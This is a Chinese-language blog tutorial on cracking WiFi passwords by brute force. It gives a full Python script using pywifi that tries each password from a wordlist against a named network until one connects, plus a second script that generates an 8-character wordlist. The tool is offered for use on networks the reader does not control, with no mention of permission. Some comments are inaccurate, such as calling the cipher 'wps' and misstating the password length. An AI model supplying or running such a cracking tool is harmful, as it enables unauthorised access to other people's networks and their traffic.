python暴力破解WiFi密码
python暴力破解WiFi密码
1、我认为暴力破解不靠谱
为什么?
-
只有数字和小写字母组成的,8位不重复密码的可能性有多少种:
- 计算有多少种:36 x 35 x 34 x 33 x 32 x 31 x 30 x 29 = 1_2200_9690_8800种
-
连接测试一次密码的时间:需要0~1秒
-
按照1秒的时间计算,测试完 1_2200_9690_8800 种密码需要的时间:
- 计算测试所需时间:1_2200_9690_8800 ÷ 60 ÷ 60 ÷ 24 ÷ 365 = 3_8689.01917808219 大约 3.9万年
如果你仍然想破解WiFi密码
-
你可以在网上搜索找到WiFi常用密码进行测试
-
或者你觉得你的运气好能很快找到正确密码,你可以试试暴力破解WiFi密码
2、准备工作
1、软件准备,安装python
-
应用商店搜索python并安装
-
我的安装目录:
D:\Program Files\python3
-
管理员方式
打开cmd-
切换到安装目录
D:\Program Files\python3
下的Scripts
目录 -
安装pywifi:
pip install pywifi
-
安装comtypes:
pip install comtypes
-
2、编写代码
-
在桌面新建一个文件
-
如果你新建的文件没有后缀名
.txt
,请进行如下设置
-
-
打开刚刚新建的文件,下面代码写入文件,保存
# coding:utf-8 import pywifi from pywifi import const import time import datetime #测试连接,返回链接结果 def wifiConnect(pwd): #抓取网卡接口 wifi=pywifi.PyWiFi() #获取第一个无线网卡 ifaces=wifi.interfaces()[0] #断开所有连接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() if wifistatus ==const.IFACE_DISCONNECTED: #创建WiFi连接文件 profile=pywifi.Profile() #要连接WiFi的名称 profile.ssid="TP-LINK_1301" #网卡的开放状态 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP #调用密码 profile.key=pwd #删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() #设定新的连接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi连接时间 time.sleep(1) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接") #读取密码本 def readPassword(): print("开始破解:") #密码本路径 path="C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt" #打开文件 file=open(path,"r") while True: try: #一行一行读取 pad=file.readline() bool=wifiConnect(pad) if bool: print("密码已破解: ",pad) print("WiFi已自动连接!!!") break #else: #跳出当前循环,进行下一次循环 #print("密码破解中....密码校对: ",pad) except: continue start=datetime.datetime.now() readPassword() end=datetime.datetime.now() print("破解WIFI密码一共用了多长时间:{}".format(end-start))
-
将刚刚建的文件,重命名为:
WiFi密码的破解代码.py
(xxx.py均可)
3、展示测试结果
必备文件:
测试
-
打开python软件
-
打开代码:
- File→Open→破解WiFi密码.PY(找到破解代码)→打开
-
测试运行
-
修改:
WiFi名
和密码本路径
-
测试:Run→Run Module
-
4、生成密码本(建议自己找一个密码本)
如果有密码本就不需要这个步骤
-
代码(密码中有重复的数字和字母)
- 修改:
密码组成元素
和密码保存路径
- 注意这个密码本生成需要很长时间,建议不要这样生成密码本
import itertools as its import datetime #记录程序运行时间 start=datetime.datetime.now() words = '1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便 # 生成密码的位数 r = its.product(words,repeat=8)#密码位数为9 dic =open(r"C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt",'a') for i in r: dic.write(''.join(i)) dic.write(''.join('\n')) print(i) dic.close() print('密码本生成好了') end=datetime.datetime.now() print("生成密码本一共用了多长时间:{}".format(end-start))
- 修改:
-
运行步骤和前面
破解WiFi密码
相同不再讲解。